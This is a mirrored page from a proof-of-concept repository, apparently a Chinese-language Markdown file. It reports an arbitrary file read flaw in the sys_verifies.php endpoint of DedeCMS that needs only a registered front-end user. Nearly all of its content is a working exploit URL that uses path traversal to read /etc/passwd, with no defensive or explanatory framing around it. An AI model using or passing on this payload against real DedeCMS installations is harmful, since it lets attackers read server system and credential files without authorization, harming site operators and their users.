mirror of
https://github.com/wooluo/POC00.git
synced 2026-03-17 20:54:52 +08:00
11 lines
195 B
Markdown
11 lines
195 B
Markdown
|
# DeDecms接口sys_verifies.php存在任意文件读取漏洞
|
||
|
|
|
||
|
|
需前台注册用户权限。
|
||
|
|
|
||
|
|
## poc
|
||
|
|
|
||
|
|
```java
|
||
|
|
http://ip/dede/sys_verifies.php?action=view&filename=../../../../../etc/passwd
|
||
|
|
```
|
||
|
|
|